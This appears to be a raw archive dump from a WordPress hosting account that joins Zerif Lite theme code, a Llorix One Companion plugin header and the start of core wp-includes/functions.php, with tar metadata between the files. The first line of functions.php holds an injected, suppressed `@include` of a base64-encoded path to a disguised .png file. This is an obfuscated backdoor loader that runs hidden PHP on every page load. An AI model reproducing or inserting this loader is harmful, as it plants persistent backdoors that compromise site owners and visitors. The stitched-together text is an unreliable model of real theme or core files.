echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_team_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Team member widget
*/
class zerif_team_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_team-widget',
__( 'Zerif - Team member widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widget scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Instance widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 team-box">';
echo '<div class="team-member" tabindex="0">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt=""/>';
echo '</figure>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_team_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_team_custom_media_id ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $zerif_team_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '"/>';
echo '</figure>';
}
}
echo '<div class="member-details">';
if ( ! empty( $instance['name'] ) ) {
echo '<h3 class="dark-text red-border-bottom">' . apply_filters( 'widget_title', $instance['name'] ) . '</h3>';
}
if ( ! empty( $instance['position'] ) ) {
echo '<div class="position">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['position'] ) ) . '</div>';
}
echo '</div>';
echo '<div class="social-icons">';
echo '<ul>';
$zerif_team_target = '_self';
if ( ! empty( $instance['open_new_window'] ) ) {
$zerif_team_target = '_blank';
}
if ( ! empty( $instance['fb_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['fb_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Facebook link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-facebook"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['tw_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['tw_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Twitter link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-twitter"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['bh_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['bh_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Behance link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-behance"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['db_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['db_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Dribble link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-dribbble"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['ln_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['ln_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Linkedin link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-linkedin"></i>';
echo '</a>';
echo '</li>';
}
echo '</ul>';
echo '</div>';
if ( ! empty( $instance['description'] ) ) {
echo '<div class="details">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['description'] ) ) . '</div>';
}
echo '</div>';
echo '</div>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['name'] = sanitize_text_field( $new_instance['name'] );
$instance['position'] = stripslashes( wp_filter_post_kses( $new_instance['position'] ) );
$instance['description'] = stripslashes( wp_filter_post_kses( $new_instance['description'] ) );
$instance['fb_link'] = esc_url( $new_instance['fb_link'] );
$instance['tw_link'] = esc_url( $new_instance['tw_link'] );
$instance['bh_link'] = esc_url( $new_instance['bh_link'] );
$instance['db_link'] = esc_url( $new_instance['db_link'] );
$instance['ln_link'] = esc_url( $new_instance['ln_link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['open_new_window'] = strip_tags( $new_instance['open_new_window'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'name' ) . '">' . __( 'Name', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'name' ) . '" id="' . $this->get_field_id( 'name' ) . '" value="';
if ( ! empty( $instance['name'] ) ) {
echo $instance['name'];
}
echo '" class="widefat"/>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'position' ) . '">' . __( 'Position', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'position' ) . '" id="' . $this->get_field_id( 'position' ) . '">';
if ( ! empty( $instance['position'] ) ) {
echo htmlspecialchars_decode( $instance['position'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'description' ) . '">' . __( 'Description', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'description' ) . '" id="' . $this->get_field_id( 'description' ) . '">';
if ( ! empty( $instance['description'] ) ) {
echo htmlspecialchars_decode( $instance['description'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'fb_link' ) . '">' . __( 'Facebook link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'fb_link' ) . '" id="' . $this->get_field_id( 'fb_link' ) . '" value="';
if ( ! empty( $instance['fb_link'] ) ) {
echo $instance['fb_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'tw_link' ) . '">' . __( 'Twitter link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'tw_link' ) . '" id="' . $this->get_field_id( 'tw_link' ) . '" value="';
if ( ! empty( $instance['tw_link'] ) ) {
echo $instance['tw_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'bh_link' ) . '">' . __( 'Behance link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'bh_link' ) . '" id="' . $this->get_field_id( 'bh_link' ) . '" value="';
if ( ! empty( $instance['bh_link'] ) ) {
echo $instance['bh_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'db_link' ) . '">' . __( 'Dribble link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'db_link' ) . '" id="' . $this->get_field_id( 'db_link' ) . '" value="';
if ( ! empty( $instance['db_link'] ) ) {
echo $instance['db_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'ln_link' ) . '">' . __( 'Linkedin link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'ln_link' ) . '" id="' . $this->get_field_id( 'ln_link' ) . '" value="';
if ( ! empty( $instance['ln_link'] ) ) {
echo $instance['ln_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<input type="checkbox" name="' . $this->get_field_name( 'open_new_window' ) . '" id="' . $this->get_field_id( 'open_new_window' ) . '"';
if ( ! empty( $instance['open_new_window'] ) ) {
checked( (bool) $instance['open_new_window'], true );
}
echo '>' . __( 'Open links in new window?', 'zerif-lite' ) . '<br>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
/**
* Register CSS needed in customizer
*/
function zerif_customizer_custom_css() {
wp_enqueue_style( 'zerif_customizer_custom_css', get_template_directory_uri() . '/css/zerif_customizer_custom_css.css' );
}
add_action( 'customize_controls_print_styles', 'zerif_customizer_custom_css' );
add_filter( 'body_class', 'remove_class_function' );
/**
* Remove custom-background from body_class()
*/
function remove_class_function( $classes ) {
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
/* For new users with static page */
if ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) {
if ( ! is_front_page() && ! is_home() ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
} else {
if ( ! is_home() && ! is_page_template( 'template-frontpage.php' ) ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
}
return $classes;
}
add_action( 'customize_save_after', 'zerif_lite_update_options_in_pirate_forms', 99 );
/**
* Update Pirate Forms plugin when there is a change in Customizer Contact us section
*/
function zerif_lite_update_options_in_pirate_forms() {
/* if Pirate Forms is installed */
if ( defined( 'PIRATE_FORMS_VERSION' ) ) :
$zerif_lite_current_mods = get_theme_mods(); /* all theme modification values in Customize for Zerif Lite */
$pirate_forms_settings_array = get_option( 'pirate_forms_settings_array' ); /* Pirate Forms's options's array */
if ( ! empty( $zerif_lite_current_mods ) ) :
if ( isset( $zerif_lite_current_mods['zerif_contactus_button_label'] ) ) :
$pirate_forms_settings_array['pirateformsopt_label_submit_btn'] = $zerif_lite_current_mods['zerif_contactus_button_label'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_email'] ) ) :
$pirate_forms_settings_array['pirateformsopt_email'] = $zerif_lite_current_mods['zerif_contactus_email'];
$pirate_forms_settings_array['pirateformsopt_email_recipients'] = $zerif_lite_current_mods['zerif_contactus_email'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] ) && ( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] == 1 ) ) :
if ( isset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] ) ) :
unset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] );
endif;
else :
$pirate_forms_settings_array['pirateformsopt_recaptcha_field'] = 'yes';
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_sitekey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_sitekey'] = $zerif_lite_current_mods['zerif_contactus_sitekey'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_secretkey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_secretkey'] = $zerif_lite_current_mods['zerif_contactus_secretkey'];
endif;
endif;
if ( ! empty( $pirate_forms_settings_array ) ) :
update_option( 'pirate_forms_settings_array', $pirate_forms_settings_array ); /* Update the options */
endif;
endif;
}
/**
* Function to check if version 1.8.5 or less has been previously installed.
*/
function zerif_check_if_old_version_of_theme() {
$old_zerif_option = get_theme_mod( 'zerif_bigtitle_title' );
$old_zerif_option_2 = get_theme_mod( 'zerif_bigtitle_redbutton_label' );
$old_zerif_option_3 = get_theme_mod( 'zerif_ourfocus_title' );
if ( ! empty( $old_zerif_option ) || ! empty( $old_zerif_option_2 ) || ! empty( $old_zerif_option_3 ) ) {
return true;
}
return false;
}
/**
* Add starter content for fresh sites
*
* @since 1.8.5.12
*/
function zerif_starter_content() {
/*
* Starter Content Support
*/
add_theme_support(
'starter-content',
array(
// Twenty Seventeen
'posts' => array(
'home',
'blog',
),
'nav_menus' => array(
'primary' => array(
'name' => __( 'Primary Menu', 'zerif-lite' ),
'items' => array(
'page_home',
'page_blog',
),
),
),
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
)
);
}
add_action( 'after_setup_theme', 'zerif_starter_content' );
/**
* Save activation time.
*/
function zerif_time_activated() {
update_option( 'zerif_time_activated', time() );
}
add_action( 'after_switch_theme', 'zerif_time_activated' );
/**
* BeaverBuilder Upgrade
*/
function zerif_bb_upgrade_link() {
return 'https://www.wpbeaverbuilder.com/?fla=101&campaign=zf';
}
add_filter( 'fl_builder_upgrade_url', 'zerif_bb_upgrade_link' );
/**
* Check if $no_seconds have passed since theme was activated.
* Used to perform certain actions, like adding a new recommended action in About Zerif page.
*
* @since 1.8.5.31
* @access public
* @return bool
*/
function zerif_check_passed_time( $no_seconds ) {
$activation_time = get_option( 'zerif_time_activated' );
if ( ! empty( $activation_time ) ) {
$current_time = time();
$time_difference = (int) $no_seconds;
if ( $current_time >= $activation_time + $time_difference ) {
return true;
} else {
return false;
}
}
return true;
}
add_action( 'woocommerce_before_checkout_form', 'zerif_coupon_after_order_table_js' );
/**
* Checkout page
* Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table_js() {
wc_enqueue_js(
'
$( $( "div.woocommerce-info, .checkout_coupon" ).detach() ).appendTo( "#zerif-checkout-coupon" );
'
);
}
add_action( 'woocommerce_checkout_order_review', 'zerif_coupon_after_order_table' );
/**
* Checkout page
* Add the id zerif-checkout-coupon to be able to Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table() {
echo '<div id="zerif-checkout-coupon"></div><div style="clear:both"></div>';
}
/**
* Max Mega Menu Zerif Theme
**/
function megamenu_add_theme_zerif_lite_max_menu( $themes ) {
$themes['zerif_lite_max_menu'] = array(
'title' => 'Zerif Lite',
'menu_item_align' => 'right',
'menu_item_link_height' => '70px',
'container_background_from' => 'rgb(255, 255, 255)',
'container_background_to' => 'rgb(255, 255, 255)',
'menu_item_background_hover_from' => 'rgb(255, 255, 255)',
'menu_item_background_hover_to' => 'rgb(255, 255, 255)',
'menu_item_link_font_size' => '15px',
'menu_item_link_color' => 'rgb(49, 49, 49)',
'menu_item_link_color_hover' => 'rgb(233, 102, 86)',
'menu_item_highlight_current' => 'off',
'panel_background_from' => 'rgb(255, 255, 255)',
'panel_background_to' => 'rgb(255, 255, 255)',
'panel_header_font_size' => '15px',
'panel_header_font_weight' => 'normal',
'panel_header_border_color' => '#555',
'panel_font_size' => '15px',
'panel_font_color' => 'rgb(49, 49, 49)',
'panel_font_color_hover' => 'rgb(233, 102, 86)',
'panel_font_family' => 'inherit',
'panel_second_level_font_color' => 'rgb(49, 49, 49)',
'panel_second_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_second_level_text_transform' => 'none',
'panel_second_level_font' => 'inherit',
'panel_second_level_font_size' => '15px',
'panel_second_level_font_weight' => 'normal',
'panel_second_level_font_weight_hover' => 'normal',
'panel_second_level_text_decoration' => 'none',
'panel_second_level_text_decoration_hover' => 'none',
'panel_second_level_padding_left' => '20px',
'panel_second_level_border_color' => '#555',
'panel_third_level_font_color' => 'rgb(49, 49, 49)',
'panel_third_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_third_level_font' => 'inherit',
'panel_third_level_font_size' => '15px',
'panel_third_level_padding_left' => '20px',
'flyout_background_from' => 'rgb(255, 255, 255)',
'flyout_background_to' => 'rgb(255, 255, 255)',
'flyout_background_hover_from' => 'rgb(255, 255, 255)',
'flyout_background_hover_to' => 'rgb(255, 255, 255)',
'flyout_link_size' => '15px',
'flyout_link_color' => 'rgb(49, 49, 49)',
'flyout_link_color_hover' => 'rgb(233, 102, 86)',
'flyout_link_family' => 'inherit',
'responsive_breakpoint' => '768px',
'resets' => 'on',
'toggle_background_from' => '#222',
'toggle_background_to' => '#222',
'toggle_font_color' => 'rgb(102, 102, 102)',
'mobile_background_from' => 'rgb(255, 255, 255)',
'mobile_background_to' => 'rgb(255, 255, 255)',
'mobile_menu_item_link_font_size' => '15px',
'mobile_menu_item_link_color' => 'rgb(102, 102, 102)',
'mobile_menu_item_link_text_align' => 'left',
);
return $themes;
}
add_filter( 'megamenu_themes', 'megamenu_add_theme_zerif_lite_max_menu' );
/**
* Function that decide if current date is before a certain date.
*
* @param string $date Date to compare.
* @return bool
*/
function zerif_is_before_date( $date ) {
$countdown_time = strtotime( $date );
$current_time = time();
return $current_time <= $countdown_time;
}
/**
* Add a dismissible notice in the dashboard to let users know they can migrate to Hestia
*/
function zerif_hestia_notice() {
global $current_user;
$user_id = $current_user->ID;
$ignored_notice = get_user_meta( $user_id, 'zerif_ignore_hestia_notice' );
if ( ! empty( $ignored_notice ) ) {
return;
}
$should_display_notice = zerif_is_before_date( '2018-11-01' );
if ( ! $should_display_notice ) {
return;
}
$message =
sprintf(
/* translators: Install Hestia link */
esc_html__( 'Check out our %s, fully compatible with your current Zerif Lite theme. You will love it!', 'zerif-lite' ),
sprintf(
'<a href="%1$s"><strong>%2$s</strong></a>',
admin_url( 'theme-install.php?theme=hestia' ),
esc_html__( 'best 2018 free theme', 'zerif-lite' )
)
);
$dismiss_button = sprintf(
'<a href="%s" class="notice-dismiss" style="text-decoration:none;"></a>',
'?zerif_nag_ignore_hestia=0'
);
printf( '<div class="notice updated" style="position:relative;">%1$s<p>%2$s</p></div>', $dismiss_button, $message );
}
add_action( 'admin_notices', 'zerif_hestia_notice' );
/**
* Update the zerif_ignore_hestia_notice option to true, to dismiss the notice from the dashboard
*/
function zerif_nag_ignore_hestia() {
global $current_user;
$user_id = $current_user->ID;
/* If user clicks to ignore the notice, add that to their user meta */
if ( isset( $_GET['zerif_nag_ignore_hestia'] ) && '0' == $_GET['zerif_nag_ignore_hestia'] ) {
add_user_meta( $user_id, 'zerif_ignore_hestia_notice', 'true', true );
}
}
add_action( 'admin_init', 'zerif_nag_ignore_hestia' );
/**
* Add a dismissible notice in the dashboard to let users know they can migrate to Zelle and read about Zerif renaming
*/
function zerif_neve_notice() {
global $current_user;
$user_id = $current_user->ID;
$ignored_notice = get_user_meta( $user_id, 'zerif_ignore_neve_notice' );
if ( ! empty( $ignored_notice ) ) {
return;
}
$should_display_notice = ! zerif_is_before_date( '2018-11-01' );
if ( ! $should_display_notice ) {
return;
}
$dismiss_button =
sprintf(
'<a href="%s" class="notice-dismiss" style="text-decoration:none;"></a>',
'?zerif_nag_ignore_neve=0'
);
$message =
sprintf(
/* translators: Install Neve link and Zerif renaming article link */
esc_html__( 'Zerif changes its name and will no longer be maintained. But don\'t worry about that. Check out %1$s, fully compatible with Zerif Lite. It\'s free and it\'s superb. You will love it! %2$s about the Zerif renaming and our next plans.', 'zerif-lite' ),
sprintf(
/* translators: Install Neve link */
'<a target="_blank" href="%1$s"><strong>%2$s</strong></a>',
esc_url( admin_url( 'theme-install.php?theme=neve' ) ),
esc_html__( 'our newest theme', 'zerif-lite' )
),
/* translators: Zerif renaming article link */
sprintf(
'<br><a target="_blank" href="%1$s"><strong>%2$s</strong></a>',
esc_url( 'https://themeisle.com/blog/zerif-changes-its-name-to-zelle/' ),
esc_html__( 'Read more', 'zerif-lite' )
)
);
printf(
'<div class="notice updated" style="position:relative;">%1$s<p>%2$s</p></div>',
$dismiss_button,
$message
);
}
add_action( 'admin_notices', 'zerif_neve_notice' );
/**
* Update the zerif_ignore_hestia_notice option to true, to dismiss the notice from the dashboard
*/
function zerif_nag_ignore_neve() {
global $current_user;
$user_id = $current_user->ID;
/* If user clicks to ignore the notice, add that to their user meta */
if ( isset( $_GET['zerif_nag_ignore_neve'] ) && '0' == $_GET['zerif_nag_ignore_neve'] ) {
add_user_meta( $user_id, 'zerif_ignore_neve_notice', 'true', true );
}
}
add_action( 'admin_init', 'zerif_nag_ignore_neve' );
plugins/themeisle-companion/obfx_modules/companion-legacy/inc/llorix-one-companion/functions.php 0000644 00000003305 15112616537 0037237 0 ustar 00 home/xbodynamge/lebauwcentre/wp-content <?php
/*
Plugin Name: Llorix One Companion
Plugin URI: https://github.com/Codeinwp/llorix-one-companion
Description: Add Our team, Our Services and Testimonials sections to Llorix One Lite theme.
Version: 1.1.4
Author: Themeisle
Author URI: http://themeisle.com
Text Domain: llorix-one-companion
Domain Path: /languages
License: GPLv2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
if ( ! function_exists( 'add_action' ) ) {
die( 'Nothing to do...' );
}
/* Important constants */
define( 'LLORIX_ONE_COMPANION_VERSION', '1.1.4' );
define( 'LLORIX_ONE_COMPANION_URL', plugin_dir_url( __FILE__ ) );
define( 'LLORIX_ONE_COMPANION_PATH', plugin_dir_path( __FILE__ ) );
/**
* Require section translations
*/
require LLORIX_ONE_COMPANION_PATH . 'inc/translations/general.php';
/* Required helper functions */
include_once( dirname( __FILE__ ) . '/inc/settings.php' );
/* Add new sections in Llorix One */
function llorix_one_companion_sections() {
return array(
'sections/llorix_one_lite_logos_section',
'our-services-section',
'sections/llorix_one_lite_our_story_section',
'our-team-section',
'happy-customers-section',
'sections/llorix_one_lite_content_section',
'sections/llorix_one_lite_ribbon_section',
'sections/llorix_one_lite_latest_news_section',
'sections/llorix_one_lite_contact_info_section',
'sections/llorix_one_lite_map_section'
);
}
/**
* Load sections
*/
function llorix_one_companion_load_sections() {
add_filter('llorix_one_companion_sections_filter', 'llorix_one_companion_sections');
}
/* Register style sheet. */
function llorix_one_companion_register_plugin_styles() {
wp_enqueue_style( 'llorix-one-companion-style', LLORIX_ONE_COMPANION_URL.'css/style.css' );
}
home/xbodynamge/crosstraining/wp-includes/functions.php 0000444 00000565323 15112655236 0017513 0 ustar 00 <?php @include base64_decode("L2hvbWUveGJvZHluYW1nZS9jcm9zc3RyYWluaW5nL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYS9lZWVlYmVjZGVmZmJhY2NmYmQucG5n");?><?php
/**
* Main WordPress API
*
* @package WordPress
*/
require( ABSPATH . WPINC . '/option.php' );
/**
* Convert given date string into a different format.
*
* $format should be either a PHP date format string, e.g. 'U' for a Unix
* timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
*
* If $translate is true then the given date and format string will
* be passed to date_i18n() for translation.
*
* @since 0.71
*
* @param string $format Format of the date to return.
* @param string $date Date string to convert.
* @param bool $translate Whether the return date should be translated. Default true.
* @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
*/
function mysql2date( $format, $date, $translate = true ) {
if ( empty( $date ) )
return false;
if ( 'G' == $format )
return strtotime( $date . ' +0000' );
$i = strtotime( $date );
if ( 'U' == $format )
return $i;
if ( $translate )
return date_i18n( $format, $i );
else
return date( $format, $i );
}
/**
* Retrieve the current time based on specified type.
*
* The 'mysql' type will return the time in the format for MySQL DATETIME field.
* The 'timestamp' type will return the current timestamp.
* Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
*
* If $gmt is set to either '1' or 'true', then both types will use GMT time.
* if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
*
* @since 1.0.0
*
* @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
* format string (e.g. 'Y-m-d').
* @param int|bool $gmt Optional. Whether to use GMT timezone. Default false.
* @return int|string Integer if $type is 'timestamp', string otherwise.
*/
function current_time( $type, $gmt = 0 ) {
switch ( $type ) {
case 'mysql':
return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
case 'timestamp':
return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
default:
return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
}
}
/**
* Retrieve the date in localized format, based on timestamp.
*
* If the locale specifies the locale month and weekday, then the locale will
* take over the format for the date. If it isn't, then the date format string
* will be used instead.
*
* @since 0.71
*
* @global WP_Locale $wp_locale
*
* @param string $dateformatstring Format to display the date.
* @param bool|int $unixtimestamp Optional. Unix timestamp. Default false.
* @param bool $gmt Optional. Whether to use GMT timezone. Default false.
*
* @return string The date, translated if locale specifies it.
*/
function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
global $wp_locale;
$i = $unixtimestamp;
if ( false === $i ) {
$i = current_time( 'timestamp', $gmt );
}
/*
* Store original value for language with untypical grammars.
* See https://core.trac.wordpress.org/ticket/9396
*/
$req_format = $dateformatstring;
if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
$datemonth = $wp_locale->get_month( date( 'm', $i ) );
$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
$dateweekday = $wp_locale->get_weekday( date( 'w', $i ) );
$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
$datemeridiem = $wp_locale->get_meridiem( date( 'a', $i ) );
$datemeridiem_capital = $wp_locale->get_meridiem( date( 'A', $i ) );
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
$timezone_formats_re = implode( '|', $timezone_formats );
if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
$timezone_string = get_option( 'timezone_string' );
if ( $timezone_string ) {
$timezone_object = timezone_open( $timezone_string );
$date_object = date_create( null, $timezone_object );
foreach ( $timezone_formats as $timezone_format ) {
if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
$formatted = date_format( $date_object, $timezone_format );
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
}
}
}
$j = @date( $dateformatstring, $i );
/**
* Filters the date formatted based on the locale.
*
* @since 2.8.0
*
* @param string $j Formatted date string.
* @param string $req_format Format to display the date.
* @param int $i Unix timestamp.
* @param bool $gmt Whether to convert to GMT for time. Default false.
*/
$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
return $j;
}
/**
* Determines if the date should be declined.
*
* If the locale specifies that month names require a genitive case in certain
* formats (like 'j F Y'), the month name will be replaced with a correct form.
*
* @since 4.4.0
*
* @global WP_Locale $wp_locale
*
* @param string $date Formatted date string.
* @return string The date, declined if locale specifies it.
*/
function wp_maybe_decline_date( $date ) {
global $wp_locale;
// i18n functions are not available in SHORTINIT mode
if ( ! function_exists( '_x' ) ) {
return $date;
}
/* translators: If months in your language require a genitive case,
* translate this to 'on'. Do not translate into your own language.
*/
if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
